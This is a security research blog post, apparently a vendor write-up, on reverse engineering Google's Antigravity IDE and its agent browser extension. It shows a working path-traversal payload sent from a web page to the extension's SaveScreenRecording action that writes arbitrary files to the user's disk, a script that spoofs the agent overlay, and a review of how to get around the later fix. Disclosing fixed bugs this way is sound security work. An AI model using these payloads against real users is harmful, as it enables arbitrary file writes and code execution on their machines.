In continuation of our series
Hacking AI
Browsers
, we are back again, this time targeting Google’s Antigravity.
Google released a new IDE a couple of weeks back dubbed Antigravity. Based on tweets and the drama, you all might already know that the inner workings and everything else are the same as the Windsurf IDE. When it comes to anything related to Windsurf, we are kind of veterans,
cough cough
.
Watch the Antigravity browser demo on YouTube
As soon as a new AI browser, IDE, or tool hits the market, it becomes a race to find the first impactful bug. This time
@s1r1us
was busy (building cool stuff), so it was my turn to find an entry point and work towards it.
This Google IDE comes bundled with a browser. Based on our past experiences, this was a lucrative target. Here’s a brief explanation of Antigravity IDE’s workflow and how it integrates with the browser:
There’s a VS Code extension in use here which interacts with a language server. This server exposes a bunch of API calls that handle any task, whether from the IDE or other sources.
Using a tool like
procexp.exe
, we can get a full view of what’s being executed by the Antigravity IDE:
Process Explorer listing Antigravity.exe, language_server_windows_x64.exe, conhost.exe, node.exe, and powershell.exe
Starting with the language server:
Terminal window
d:\\Antigravity\\resources\\app\\extensions\\antigravity\\bin\\language_server_windows_x64.exe --enable_lsp --extension_server_port 19116 --csrf_token e8d42e20-02b4-4ec8-9156-6ce5d35d0f01 --random_port --cloud_code_endpoint <https://daily-cloudcode-pa.googleapis.com> --app_data_dir antigravity --parent_pipe_path \\\\.\\pipe\\server_8a46fdeaf98e6c96
This binary runs the server. The port is specified in the
extension_server_port
argument, which is random for each run, and the CSRF token flag is added as a precaution to protect against DNS rebinding-based attacks, similar to the ones
@s1r1us
found.
The language server binary invokes the
node.exe
binary as well. Looking at the command line, this is what we see:
Terminal window
C:\Users\STARK-PC\AppData\Local\ms-playwright-go\1.50.1\node.exe C:\Users\STARK-PC\AppData\Local\ms-playwright-go\1.50.1\package\cli.js run-driver
So it’s using Playwright, which is used to control browser automation. The core of the IDE lies within
language_server_windows_x64.exe
, which is written in Golang.
After playing around with the IDE and looking for potential pitfalls, I concluded the following two entry points that should leave me with something impactful enough.
Pwn the language server
This should be easily achievable by finding a way to leak the CSRF token, which is used to protect against DNS rebinding based attacks. This protection was added specifically in response to the issues previously identified by s1r1us.
The language server validates the
x-codeium-csrf-token
request header for every incoming request.
The first step was to understand how the CSRF token is generated. By inspecting the extension source at
resources/app/extensions/antigravity/dist/extension.js
, we can identify the relevant code path:
resources/app/extensions/antigravity/dist/extension.js
1
const n = crypto.randomUUID();
2
await R.ExtensionServer.initialize(e, n)
3
4
[...]
5
[...]
6
t.startLanguageServer = async function(e, t) {
7
s = ["--enable_lsp", "--extension_server_port", e.extensionServerPort.toString(), "--csrf_token", e.csrfToken]
Based on the description of the
randomUUID
method from MDN, we can assume it is safe and not something we can predict, unlike cases where
Math.random
is used.
MDN reference for randomUUID()
To look for places where the CSRF token might be leaked, I decided to run a strings operation on the language server binary and check how the CSRF token value is being used. I searched for patterns such as
csrf token
,
csrftoken
, etc.
I found some interesting placeholders. Looking at line [1], it uses a string formatter, and the value might be a JSON object. As seen on line [2], it accesses the
request.csrfToken
property. Based on the comments, it’s clear that this script is injected into the browser:
(program
(namespace_definition
name: (namespace_name) @name) @definition.namespace) @codeium.lineage_node
(async function() {
try {
// Directly set the credentials in the service worker's global scope
const request = %s; // [1]
// Use the direct functions (Playwright compatibility)
if (typeof globalThis.setCredentials === 'function') {
await globalThis.setCredentials(request.csrfToken, request.serverAddress); // [2]
// Initialize the RPC client if the function exists
if (typeof globalThis.initializeRpcClient === 'function') {
globalThis.initializeRpcClient();
// TODO(b/450106975): Post launch, figure out why we call initializeRpcClient here and in the background.ts. One of the calls is redundant.
}
return { success: true, message: 'WindsurfBrowser API initialized successfully' };
} else {
return { success: false, message: 'WindsurfBrowser API not available' };
}
} catch (error) {
console.error('Error setting credentials:', error);
return { success: false, message: 'Error: ' + error.toString() };
}
})()
I could also see calls like this related to the CSRF token:
google3/third_party/jetski/extension_server_pb/extension_server_go_proto.(*LanguageServerStartedRequest).GetCsrfToken
google3/third_party/jetski/extension_server_pb/extension_server_go_proto.(*LanguageServerStartedRequest).SetCsrfToken
However, to get a better understanding of the language server, one would have to reverse engineer this Golang binary. For now, we won’t concentrate on that.
As the CSRF token was being used in Playwright scripts I decided to check the browser, so let’s jump to it right away. The very first time you open the integrated browser you will be prompted to install an extension.
Antigravity browser extension on the Chrome Web Store
This extension is what empowers the AI agent to interact with the websites opened in the browser. Once the extension is installed, you can play around with it. For example, from the chat window you can provide a prompt such as
open example.com and change the background color to blue
:
Antigravity browser pane showing the agent prompt to open example.com and change the background color to blue, with a Confirm or Deny step
Antigravity browser pane after the page has turned blue
How is it controlling all of this? Remember earlier we saw
node.exe
being invoked to run the
cli.js
script for Playwright. We can actually debug this and get a better understanding of what’s going on.
To debug the
cli.js
script, we can either modify the code to enable debugging or try to place a proxy
node.exe
that appends the
--inspect
argument when executing
cli.js
. However, there is one much easier way that doesn’t require any setup.
We can also see that it’s using the
--remote-debugging-port
flag when launching the browser process:
Terminal window
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9223 --user-data-dir="C:\\Users\\STARK-PC\\.gemini\\antigravity-browser-profile" --disable-fre --no-default-browser-check --no-first-run --auto-accept-browser-signin-for-tests --ash-no-nudges --disable-features=OfferMigrationToDiceUsers,OptGuideOnDeviceModel --flag-switches-begin --flag-switches-end
The easier way I talked about is to just grab the
PID
of the Node process you want to debug. In my case, it’s
40632
, so I would execute the following command in the terminal:
Terminal window
node -e "process._debugProcess(40632)"
Then open
chrome://inspect/
in your browser. From there, we should be able to debug the
cli.js
process:
Chrome DevTools Sources panel debugging cli.js
In the extension service worker, we can find some references to CSRF token usage at
chrome-extension://eeijfnjmjelapkebgockoeaadonbchdd/service_worker_binary.js
. On line [5], you can see it setting the value specified in
this.Z
to the
x-codeium-csrf-token
key. Tracing this value back leads us to the
self.setCredentials
method, where the first argument of this function is supposed to contain the CSRF token value:
1
self.setCredentials = function(a, b) {
2
return va(function(c) {
3
eh = { // [1]
4
Z: a,
5
V: b
6
};
7
8
function oh() {
9
if (!eh)
10
throw Error("Cannot initialize RPC client: no credentials");
11
var a = eh // [2]
12
, b = a.Z;
13
14
ya: [new nh(b,a)], // [3]
15
...
16
17
function nh(a, b) {
18
this.Z = a; // [4]
19
...
20
21
nh.prototype.intercept = function(a, b) {
22
a.metadata["x-codeium-csrf-token"] = this.Z; // [5]
Now, searching for where
setCredentials
is called gives us no results. This was strange, because then how the hell is this extension getting its hands on the CSRF token? The answer lies in the script we got earlier from the strings result of the language server binary:
const request = %s; // [1]
// Use the direct functions (Playwright compatibility)
if (typeof globalThis.setCredentials === 'function') {
await globalThis.setCredentials(request.csrfToken, request.serverAddress); // [2]
// Initialize the RPC client if the function exists
if (typeof globalThis.initializeRpcClient === 'function') {
globalThis.initializeRpcClient();
This makes everything clear. The above code is injected into the context of the Antigravity extension,
globalThis.setCredentials
is the same as
self.setCredentials
, and the first argument is clearly the CSRF token.
To view the Playwright-injected content scripts in the browser, we need to enable an additional option in DevTools, which isn’t enabled by default. I learned about this trick from
Masato Kinugawa’s
findings. Under Sources → Search, enable Search in anonymous and content scripts:
Chrome DevTools settings with Search in anonymous and content scripts highlighted
Without enabling that option, you will see zero results. Now, if you search for
evaluate(
, you should see some results:
Chrome DevTools Sources panel paused at a breakpoint in service_worker_binary.js on the evaluate( call
I have set a breakpoint here because this method evals the injected content scripts into the pages. This comes from the Playwright core package at
https://github.com/microsoft/playwright/blob/1eba405f948b93d4d40da0c2b8ace3d9fcd766c9/packages/injected/src/utilityScript.ts#L64
packages/playwright-core/src/server/injected/utilityScript.ts
1
// packages/playwright-core/src/server/injected/utilityScript.ts
2
var UtilityScript = class {
3
constructor(isUnderTest) {
4
this.serializeAsCallArgument = serializeAsCallArgument;
5
this.parseEvaluationResultValue = parseEvaluationResultValue;
6
if (isUnderTest)
7
this._setBuiltins();
8
}
9
evaluate(isFunction, returnByValue, expression, argCount, ...argsAndHandles) {
10
const args = argsAndHandles.slice(0, argCount);
The second argument for the
evaluate
method,
expression
, contains the following value:
Chrome DevTools console showing the injected request object with csrfToken and a serverAddress of 127.0.0.1:64431
// Directly set the credentials in the service worker's global scope
const request = {
action: 'setCredentials',
csrfToken: 'f5d969c7-f4f3-4f87-aca7-8fa1568b6bd5',
serverAddress: 'http://127.0.0.1:64431',
}
Seeing this, I wanted to confirm whether there was any chance the same script was evaluated in the web page context or not. However, it turns out this is only evaluated in the context of the extension service worker. So there was no way to leak the CSRF token.
By casually using the intended functionalities of the Antigravity agent to interact with web pages, I could, in real time, view what types of scripts, etc., are injected into normal pages.
Sometimes these injected scripts can have extra privileges, and they may be available only for a very limited time. For example, I was able to find one such case:
1
window.updateActuationOverlay({
2
awaitingUserInput: false,
3
cascadeId: '64821e8c-385d-452d-ba6b-3eb9fe597065',
4
displayString: 'Executing JavaScript...',
5
})
Antigravity browser paused in the debugger, with the console showing the updateActuationOverlay expression
updateActuationOverlay
is used to display those agent messages in the browser window. For example, in the above screenshot you can see it says
“Agent needs your input”
.
We can again search for this method name to find its declaration in the hidden content scripts. This method doesn’t do anything other than displaying that overlay prompt about the AI agent:
1
window.updateActuationOverlay = (t) => {
2
Ga && clearTimeout(Ga)
3
const e = document.getElementById($a)
4
if (!e) return Promise.reject(new Error('Failed to find shadow host'))
5
const n = e.shadowRoot
6
if (!n) return Promise.reject(new Error('Failed to find shadow root'))
34 collapsed lines
7
const r = {
8
...Za,
9
...t,
10
}
11
Za =
12
'' === t.cascadeId
13
? {
14
...qa,
15
...t,
16
}
17
: r
18
const i = n.querySelector('#preact-border-container')
19
return (
20
i &&
21
(0, o.XX)(
22
za(Xa, {
23
...Za,
24
}),
25
i,
26
),
27
Za.cascadeId &&
28
(Ga = setTimeout(() => {
29
;((Za = {
30
...qa,
31
}),
32
i &&
33
(0, o.XX)(
34
za(Xa, {
35
...Za,
36
}),
37
i,
38
))
39
}, 3e4)),
40
Ka()
41
)
42
}
This method is accessible temporarily and only when the agent is in running mode; you can see those blue border lines as an indication of that.
To confirm my hypothesis, I hosted the following code on my server and instructed the agent to perform a task on it. The code below calls the
updateActuationOverlay
method with an arbitrary
displayString
key value, which gets executed every ~10ms or so:
1
<script>
2
setInterval(() => {
3
window.updateActuationOverlay({
4
awaitingUserInput: true,
5
cascadeId: "95651fd4-cc10-4e03-884d-f31953b7a13d",
6
displayString: "Shirley: Hello there sudi ;)",
7
passthroughEnabled: false
8
});
9
}, 10);
10
</script>
Didn’t take long enough to confirm it 😛
Antigravity browser on a requestrepo.com page with the agent overlay reading “Shirley: Hello there sudi ;)”
Aside from this, I spent quite some time figuring out if there were other such methods that would allow me to do something impactful. Since we are targeting a browser here, something like a universal XSS would also be impactful. But no dice. I couldn’t find anything like that, and it all seemed to be limited to UI functionalities only and very limited.
This was a failed attempt, as in the end I wasn’t able to find anything impactful there, but I still wanted to share the details.
Pwn the browser extension
I then moved on to the browser extension itself, hoping to find something there at least.
Starting with the extension source code, the very first thing I look at when auditing an extension is the
manifest.json
file.
The
externally_connectable
property here was set to all URLs, meaning it allows whitelisted origins to talk to the extension via
chrome.runtime.connect()
/
chrome.runtime.sendMessage()
:
"externally_connectable": {
"matches": [ "\\u003Call_urls>" ]
}
Refer to our
Comet uXSS write-up
for more details if you want to know how we were able to pwn the Comet browser, which had an over-permissive origin set for this property.
The postMessage handling for this can be found here in the
chrome-extension://eeijfnjmjelapkebgockoeaadonbchdd/service_worker_binary.js
:
1
chrome.runtime.onMessageExternal.addListener(function(a, b, c) {
2
mh().then(function() {
3
return qh(a, b)
Here is a summary of the actions you can trigger:
1
function qh(a, b) {
2
var c, d, e, g, f, h, k, l, m, q, p, u, x, t, B;
3
return va(function(n) {
4
switch (n.g) {
5
case 1:
6
if (a.action !== "rpcCall") {
7
}
8
[...]
9
return z(n, ah(d), 4);
10
case 4:
11
case 3:
12
if (c.method !== "validateCascadeOrCancelOverlay") {
13
[...]
14
case 6:
15
case 5:
16
if (c.method !== "smartFocusConversation") {
17
[...]
18
case 8:
19
case 7:
20
case 2:
21
if (a && typeof a === "object" && a.action === "registerTargetID" && typeof a.targetId === "string") {
22
[...]
23
}
24
if (lg(a)) {
25
if (a.action === "getCurrentTabId")
26
return n.return({
27
tabId: ((l = b.tab) == null ? void 0 : l.id) || null
28
});
29
if (a.action === "serviceWorkerWakeUp")
30
if (a.action === "getMimeType")
31
[...]
32
case 10:
33
return n.return(n.l);
34
case 9:
35
if (!a || typeof a !== "object" || typeof a.type !== "string" || !["CHECK_JETSKI_CONNECTION", "ATTEMPT_JETSKI_CONNECTION"].includes(a.type)) {
36
if (a.type !== "CHECK_JETSKI_CONNECTION") {
37
[...]
38
case 11:
39
if (!a || typeof a !== "object" || a.action !== "SaveScreenRecording" || typeof a.za !== "object" || typeof a.filename !== "string" || typeof a.L !== "string") {
40
n.g = 16;
41
break
42
}
43
B = new Qg;
44
Rg(B, new Uint8Array(a.za));
45
cd(B, 2, a.filename);
46
cd(B, 3, a.L);
47
return z(n, dh(B).then(function() {}).catch(function() {}), 17);
rpcCall
validateCascadeOrCancelOverlay
smartFocusConversation
registerTargetID
getCurrentTabId
serviceWorkerWakeUp
getMimeType
CHECK_JETSKI_CONNECTION
SaveScreenRecording
There seems to be a bunch of functionalities that could be triggered. Some sample code can be seen in the content script showing how some of these actions are called:
1
window.addEventListener('message', function (a) {
2
a.origin === window.location.origin &&
3
a.source === window &&
4
(a = a.data) &&
5
typeof a === 'object' &&
6
a !== null &&
7
(a.action === 'rpcCall'
8
? chrome.runtime.sendMessage(a).catch(function () {})
9
: a.action === 'proxyRpcCall'
10
? a.method &&
11
a.requestId &&
12
chrome.runtime.sendMessage(a).catch(function () {})
13
: a.action === 'registerTargetID'
14
? a.targetId &&
15
typeof a.targetId === 'string' &&
16
chrome.runtime
17
.sendMessage({
18
action: 'registerTargetID',
19
targetId: a.targetId,
20
})
21
.catch(function () {})
22
: a.action === 'startScreenRecording'
23
? chrome.runtime.sendMessage(a).catch(function () {})
24
: a.action === 'stopScreenRecording' &&
25
chrome.runtime.sendMessage(a).catch(function () {}))
26
})
SaveScreenRecording
looked very interesting based on the name, so I started digging into this one specifically. This action was called from the
chrome-extension://eeijfnjmjelapkebgockoeaadonbchdd/offscreen_binary.js
:
1
if (c.g != 3)
2
return (
3
(h = c.o),
4
(k = new Uint8Array(h)),
5
A(
6
c,
7
chrome.runtime.sendMessage({
8
target: 'background',
9
action: 'SaveScreenRecording',
10
K: Array.from(k),
11
filename: 'screen-recording-' + Date.now() + '.webm',
12
H: a,
13
}),
14
3,
15
)
16
)
Based on the
if
condition check in the message-handling code, it was checking for a few more properties that aren’t present in the above example code, so I pulled out the message properties one by one. It expects the
action
property to be equal to
SaveScreenRecording
, the
za
key to be of type object,
filename
to be of type string, and lastly
L
to be of type string as well:
const EXTENSION_ID = 'eeijfnjmjelapkebgockoeaadonbchdd'
chrome.runtime.sendMessage(EXTENSION_ID, {
action: 'SaveScreenRecording',
za: {},
filename: 'shirley',
L: 'aaa',
})
I had a lot of trial and error while guessing the correct format for this. It turns out that by combining the keys from the example code and the ones mentioned above, it seemed to jump to the next function.
The
za
key appeared to be the same as
K
:
k = new Uint8Array(h)
K: Array.from(k)
// By having the below type I could ensure it matches exactly as the eg code, this was a good hint as well it indicated that this key was for the file content?
K: Array.from(new TextEncoder().encode(`shirley`))
{action:"SaveScreenRecording","filename":"shirley",L:"aaa",za:Array.from(new TextEncoder().encode(`shirley`))}
The call ends up here, which makes a request to this endpoint
/exa.language_server_pb.LanguageServerService/SaveScreenRecording
of the Language server along with those parameters such as filename, content being sent in the request body:
1
function dh(a) {
2
var b = Z
3
return b.H.J(
4
b.g + '/exa.language_server_pb.LanguageServerService/SaveScreenRecording',
5
a,
6
{},
7
Ug,
8
void 0,
9
)
10
}
DevTools Sources in service_worker_binary.js around the SaveScreenRecording request
This is the request which is being sent by the extension for the
SaveScreenRecording
action:
DevTools Network panel showing the SaveScreenRecording request headers and the grpc-message error
The catchiest part of this screenshot is in the response headers, mainly
grpc-message
.
Failed to save video file: open C:\Users\STARK-PC.gemini\antigravity\brain\aaa\shirley: The system cannot find the path specified.
This error message clearly indicates that it was indeed trying to save the recording content to the provided location. For the final file path, we have control over two places:
{
"action": "SaveScreenRecording",
"za": Array.from(new TextEncoder().encode(`shirley`)),
"filename": "shirley", // [1]
"L": "aaa", // [2]
}
*C:\Users\<Username>\.gemini\antigravity\brain\aaa\shirley
C:\Users\<Username>\.gemini\antigravity\brain\[2]\[1]*
As the final directory doesn’t exist, the file write operation probably fails, so my next step was to see if it allowed path traversal sequences like
../
.
Modifying the
L
key to
../
returns the following error, which results in a kind of weird path. Even if I increase the traversal sequences, it still returns the same error.
Failed to save video file: open Downloads\shirley: The system cannot find the path specified.
Later, I realized that I have two injection points in the path I can add traversal sequences in the
filename
key as well. This turned out to be the final payload:
1
const content = 'shirley: hey sudi, I love you ;)'
2
const bytes = new TextEncoder().encode(content)
3
const EXTENSION_ID = 'eeijfnjmjelapkebgockoeaadonbchdd' // <-- change this
4
5
function sendRecording() {
6
chrome.runtime.sendMessage(
7
EXTENSION_ID,
8
{
9
action: 'SaveScreenRecording',
10
filename: '../poc.txt',
11
za: Array.from(bytes),
12
L: '../../../test',
13
},
14
(response) => {
15
console.log('Response from Extension:', response)
16
},
17
)
18
}
19
20
sendRecording()
In my case, my username is STARK-PC, so a new file is created in the
C:\Users\STARK-PC
directory as
C:\Users\STARK-PC\poc.txt
, with the arbitrary content fully controllable by me. The endpoint response also no longer shows the same error:
Text editor showing poc.txt beside DevTools showing the SaveScreenRecording payload
Later, I realized that even when this error was being shown, the file was actually saved to the correct traversed location anyway. Don’t trust error messages blindly 😛 they can be lethal sometimes in black-box tests.
Failed to save video file: open Downloads\shirley: The system cannot find the path specified.
So this bug basically allows us to arbitrarily write any file to the victim’s PC, as long as the current user has permission to write to that location. One easy code execution vector would be the user’s Startup folder: an arbitrary executable placed there is run automatically the next time the system is rebooted.
Post-fix analysis
So Google added additional checks in the handler method to fix the issue. The newly added
sh
method on line [1] validates the origin and some other properties to ensure the message is invoked only within the extension context, and not from any malicious page:
1
case 11:
2
if (!a || typeof a !== "object" || a.action !== "SaveScreenRecording" || typeof a.za !== "object" || typeof a.filename !== "string" || typeof a.L !== "string") {
3
n.g = 16;
4
break
5
}
6
if (!sh(b)) // [1]
7
return n.return({
8
success: !1,
9
error: "Unauthorized: SaveScreenRecording only accepted from offscreen document"
10
});
11
if (!Z) {
12
n.g = 17;
13
break
14
}
15
B = new Qg;
16
Rg(B, new Uint8Array(a.za));
17
cd(B, 2, a.filename);
18
cd(B, 3, a.L);
19
return z(n, dh(B).then(function() {}).catch(function() {}), 17);
1
function sh(a) {
2
var b,
3
c,
4
d =
5
(c =
6
(b = a.url) == null ? void 0 : b.includes('/static/offscreen.html')) !=
7
null
8
? c
9
: !1
10
b = a.id === chrome.runtime.id
11
a = !a.tab
12
return d && b && a
13
}
They added the following check. Here,
a
in the
sh
method comes from the
addEventListener
callback (the second argument which is
b
).
As shown below, the message handler is registered using
chrome.runtime.onMessageExternal.addListener
, where the callback receives
(a, b, c)
. The
b
parameter representing the sender is then passed down and ultimately validated by the
sh
method:
1
chrome.runtime.onMessageExternal.addListener(function(a, b, c) {
2
mh().then(function() {
3
return qh(a, b)
The very first check inside the
sh
method is:
a.url // https://attacker.com/
So the
b.includes("/static/offscreen.html")
check is easy to bypass. By adding something like
?/static/offscreen.html
to the webpage URL, we can pass the first check.
The second check is against
chrome.runtime.id
which is expected to return
eeijfnjmjelapkebgockoeaadonbchdd
(same as the extension id)
The last check verifies whether the
a.tab
property is undefined or null; if so, it evaluates to
true
:
return d && b && a
You can potentially get around the
chrome.runtime.id
check as well if you are able to find a proxy
postMessage
call in the extension’s content script. These usually look something like this:
chrome-extension://<someid>/content-script.js
Since content scripts are injected into web pages, abusing such a proxy could allow messages to appear as if they originated from within the extension context:
window.addEventListener('message', function (a) {
chrome.runtime.sendMessage(a)
})
Even if you are able to find something like this, in the case of Antigravity you can see a similar pattern, but it has some checks in place on the type of action you can specify, so it’s not fully arbitrary:
1
window.addEventListener('message', function (a) {
2
a.origin === window.location.origin &&
3
a.source === window &&
4
(a = a.data) &&
5
typeof a === 'object' &&
6
a !== null &&
7
(a.action === 'rpcCall'
8
? chrome.runtime.sendMessage(a).catch(function () {})
9
: a.action === 'proxyRpcCall'
10
? a.method &&
11
a.requestId &&
12
chrome.runtime.sendMessage(a).catch(function () {})
13
: a.action === 'registerTargetID'
14
? a.targetId &&
15
typeof a.targetId === 'string' &&
16
chrome.runtime
17
.sendMessage({
18
action: 'registerTargetID',
19
targetId: a.targetId,
20
})
21
.catch(function () {})
22
: a.action === 'startScreenRecording'
23
? chrome.runtime.sendMessage(a).catch(function () {})
24
: a.action === 'stopScreenRecording' &&
25
chrome.runtime.sendMessage(a).catch(function () {}))
26
})
The last check for
a.tab
can’t be made to evaluate to true. The
tab
property will only be undefined when the message is called directly from within the extension itself, such as from the service worker. Even from a content script, it contains the
tab
property. So even if we are able to bypass the first two checks, the third check would still be in our way.
Conclusion
Browser agents need privileged APIs to work. Those same APIs are what an attacker abuses when they are exposed to web pages, as the
SaveScreenRecording
handler was here.
This is the third AI browser we’ve looked at. Comet and Antigravity both had overly permissive allowlists exposing privileged APIs. Getting browser security right is hard, and even Google, OpenAI, and Perplexity shipped these bugs. Treat a new AI browser’s local attack surface as unproven until it has been reviewed.
About us
Our team includes top-ranked CTF competitors, DEF CON-published researchers, and leading bug bounty hunters. We’ve hacked browsers, operating systems, mobile apps, desktop software, and massive web platforms.
Hacktron turns that work into AI agents that work alongside our team on offensive security.
If you’re looking to secure your agentic applications, we can help. We’ve hacked Cluely, Cursor, Windsurf, Perplexity Comet, OpenAI Atlas, Google’s Antigravity, and many more, and we work closely with teams to secure agentic systems.
Meet our team at
hacktron.ai
. Reach out at
[email protected]
or
contact us
.